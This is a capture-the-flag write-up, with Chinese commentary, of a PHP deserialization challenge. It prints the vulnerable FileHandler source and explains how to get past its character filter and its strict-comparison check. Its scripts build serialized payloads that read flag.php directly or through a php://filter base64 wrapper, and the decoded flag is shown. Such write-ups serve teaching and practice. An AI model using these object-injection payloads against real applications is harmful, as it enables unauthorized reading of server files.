<?php
include("flag.php");
highlight_file(__FILE__);
class FileHandler {
protected $op;
protected $filename;
protected $content;
function __construct() {
$op = "1";
$filename = "/tmp/tmpfile";
$content = "Hello World!";
$this->process();
}
public function process() {
if($this->op == "1") {
$this->write();
} else if($this->op == "2") {
$res = $this->read();
$this->output($res);
} else {
$this->output("Bad Hacker!");
}
}
private function write() {
if(isset($this->filename) && isset($this->content)) {
if(strlen((string)$this->content) > 100) {
$this->output("Too long!");
die();
}
$res = file_put_contents($this->filename, $this->content);
if($res) $this->output("Successful!");
else $this->output("Failed!");
} else {
$this->output("Failed!");
}
}
private function read() {
$res = "";
if(isset($this->filename)) {
$res = file_get_contents($this->filename);
}
return $res;
}
private function output($s) {
echo "[Result]: <br>";
echo $s;
}
function __destruct() {
if($this->op === "2")
$this->op = "1";
$this->content = "";
$this->process();
}
}
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
if(isset($_GET{'str'})) {
$str = (string)$_GET['str'];
if(is_valid($str)) {
$obj = unserialize($str);
}
}
PHP反序列化漏洞,思路很簡單隻需控制
read()
方法去讀取flag.php
即可,有兩個需要繞過的地方
is_valid()
函數,因爲屬性都是protected
,而protected
屬性在序列化後會出現不可見字符%00*%00
,而%00
字符的ASCII碼爲0
無法繞過is_valid()
__destruct()
析構方法,當op === "2"
成立時op = "1"
,而要調用read()
需要op == "2"
php7.1+版本對屬性類型不敏感,所以本地序列化就直接用public可繞過,public屬性序列化不會出現不可見字符
這裏提一點,在網上看到很多師傅的文章還有別的繞過is_valid()方法,但是我這裏都沒復現成功,可能環境問題.......還是太菜了
__destrust()
中使用的是op === "2"
強比較,而process()
方法中使用的是op == "2"
弱比較,這樣就可以使用弱類型繞過了
<?php
class FileHandler{
public $op = 2;
public $filename = "./flag.php";
public $content = "m0c1nu7";
}
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
$result = new FileHandler();
$res = serialize($result);
echo $res."\n";
var_dump(is_valid($res));
?>
PS C:\Users\Administrator\Desktop> php -f .\test.php
O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:10:"./flag.php";s:7:"content";s:7:"m0c1nu7";}
bool(true)
PS C:\Users\Administrator\Desktop>
也可以使用
php僞協議
去直接讀取flag.php
<?php
class FileHandler{
public $op = 2;
public $filename = "php://filter/read=convert.base64-encode/resource=flag.php";
public $content = "m0c1nu7";
}
function is_valid($s) {
for($i = 0; $i < strlen($s); $i++)
if(!(ord($s[$i]) >= 32 && ord($s[$i]) <= 125))
return false;
return true;
}
$result = new FileHandler();
$res = serialize($result);
echo $res."\n";
var_dump(is_valid($res));
?>
PS C:\Users\Administrator\Desktop> php -f .\test.php
O:11:"FileHandler":3:{s:2:"op";i:2;s:8:"filename";s:57:"php://filter/read=convert.base64-encode/resource=flag.php";s:7:"content";s:7:"m0c1nu7";}
bool(true)
PS C:\Users\Administrator\Desktop>
PS C:\Users\Administrator\Desktop>
PS C:\Users\Administrator\Desktop>
PS C:\Users\Administrator\Desktop> php -r "echo base64_decode('PD9waHAgJGZsYWc9J2ZsYWd7ZWNiNjcyNmYtNDdhNi00Njg4LTlhOTAtMWZiODZmZGE0NTQwfSc7Cg==');"
<?php $flag='flag{ecb6726f-47a6-4688-9a90-1fb86fda4540}';
PS C:\Users\Administrator\Desktop>
可以看到上述我們都沒有考慮到
flag.php
的路徑問題,都是使用相對路徑去讀取flag.php
,這裏能成功也是因爲我們使用的復現平臺環境是BUU的,和比賽的時候還是有區別的,比賽的環境還是要靠讀取系統配置文件、容器配置文件來猜flag.php
的絕對路徑